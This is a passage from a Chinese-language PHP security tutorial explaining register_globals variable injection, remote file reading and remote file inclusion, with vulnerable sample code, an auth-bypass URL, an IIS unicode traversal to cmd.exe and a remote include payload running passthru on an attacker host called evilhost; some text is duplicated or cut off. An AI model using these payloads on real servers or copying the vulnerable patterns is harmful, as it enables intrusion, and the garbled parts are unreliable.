[全域變數]
PHP 中的變數不需要事先聲明，它們會在第一次使用時自動創建，它們的類型也不需要指定，它們會根據上下文環境自動決定。從程式設計師的角度來看，這無疑是一種極為 方便的處理方法。很顯然，這也是快速開發語言的一個很有用的特點。一旦一個變數被創建了，就可以在程式中的任何地方使用。這個特點導致的結果就是程式設計師很 少初始化變量，畢竟，當它們第一次創建時，他們是空的。
很顯然，基於PHP的應用程式的主函數一般都是接受使用者的輸入（主要是表單變量，上載檔案和Cookie等），然後對輸入資料進行處理，然後把結果回到客戶端瀏覽器。為了讓PHP程式碼存取使用者的輸入盡可能容易，實際上PHP就是把這些輸入資料看作全域變數來處理的。
例如：
很顯然，這會顯示一個文字方塊和提交按鈕。當使用者點擊提交按鈕時，「test.php」會處理使用者的輸入，當「test.php」運行時，「$hello」會 包含使用者在文字方塊輸入的資料。從這裡我們應該看出，攻擊者可以依照自己的意願創建任意的全域變數。如果攻擊者不是透過表單輸入來呼叫“test.php”，而是直接在瀏覽器網址列輸入http://server/test.php?hello=hi&setup=no，那麼， 不只“$hello”被創建，「$setup」也被創建了。
譯者註：這兩種方法也就是我們通常說的「POST」和「GET」方法。
下面的使用者認證程式碼揭露了PHP的全域變數所導致的安全性問題：
if ($pass == "hello")
$auth = 1;
...
if ($auth = = 1)
echo "some important information";
?>
上面的程式碼首先檢查使用者的密碼是否為“hello”，如果符合的話，設定“$auth”為“1”，即通過認證。之後如果「$suth」為「1」的話，就會顯示一些重要資訊。
表面看起來是正確的，而且我們中有相當一部分人是這樣做的，但是這段程式碼犯了想當然的錯誤，它假定「$auth」在沒有設定值的時候是空的，卻沒有想到攻擊者可以建立任何全域變數並賦值，透過類似「http://server/test.php?auth=1」的方法，我們完全可以欺騙這段程式碼，使它相信我們是已經認證過的。
因此，為了提高PHP程序的安全性，我們不能相信任何沒有明確定義的變數。如果程式中的變數很多的話，這可是一項非常艱鉅的任務。
一種常用的保護方式是檢查數組HTTP_GET[]或POST_VARS[]中的變量，這依賴於我們的提交方式（GET或POST）。當PHP配置為開啟「track_vars」選項的話（這是預設值），使用者提交的變數就可以在全域變數和上述的陣列中取得。
但 是值得說明的是，PHP有四個不同的陣列變數用來處理使用者的輸入。 HTTP_GET_VARS數組用來處理GET方式提交的變量， HTTP_POST_VARS數組用於處理POST方式提交的變量，HTTP_COOKIE_VARS數組用於處理作為cookie頭提交的變量，而對於HTTP_POST_FILES數組（比較新的PHP才提供），則完全是使用者用來提交變數的一種可選方式。使用者的一個請求可以很容易的把變數存在這四個數 組中，因此一個安全的PHP程式應該要檢查這四個數組。
[遠端檔案]
PHP是一種具有豐富特性的語言，提供了大量的函數，讓程式設計者實現某個功能很容易。但從安全的角度來看，功能越多，要確保它的安全性就越難，遠端文件就是說明這個問題的一個很好的例子：
if (!($fd = fopen( "$filename", "r"))
echo("Could not open file: $filename
");
?>
上面的腳本試圖開啟檔案「$filename」，失敗就顯示錯誤訊息。很明顯，如果我們能夠指定「$filename」的話，就能利用這個腳本瀏覽系統中的任何檔案。取檔案。 ./winnt/system32/cmd.exe?/c+dir”
則上面的程式碼其實是利用主機target上的unicode漏洞，執行了dir指令。
這使得支援遠端檔案的include()，require()，include_once()和require_once()在上下文環境中變得更有趣。這些函數主要功能是包含指定檔案的內容，並且把它們按照PHP程式碼解釋，主要用在函式庫檔案上。
例如：
include($libdir . "/languages.php");
?>
include($libdir . "/languages.php");
?>
上例中「$libdir」一般是一個在執行程式碼前已經設定好的路徑，如果攻擊者上例中「$libdir」一般是一個在執行程式碼前已經設定好的路徑，如果攻擊者能夠使得「$libdir」沒有被設定的話，那麼他就可以改變這個路徑。但是 攻擊者並不能做任何事情，因為他們只能在他們指定的路徑中存取檔案languages.php（perl中的「Poison null byte」攻擊對PHP沒有作用）。但是由於有了遠端文件的支持，攻擊者就可以做任何事情。例如，攻擊者可以在某台伺服器上放一個檔案languages.php，包含如下內容：
passthru("/bin/ls /etc");
?>
然後把“$libdir”設定為“http://
/”，這樣我們就可以在目標主機上執行上面的攻擊代碼，“/etc”目錄的內容會作為結果返回客戶的瀏覽器。
需要注意的是，攻擊伺服器（也就是evilhost）應該不能執行PHP代碼，否則攻擊代碼會在攻擊伺服器，而不是目標伺服器執行，如果你想了解具體的技術細節，請參考：http:// www.securereality.com.au/sradv00006.txt
[文件上載]
PHP自動支援基於RFC 1867的文件上載，我們看下面的範例：
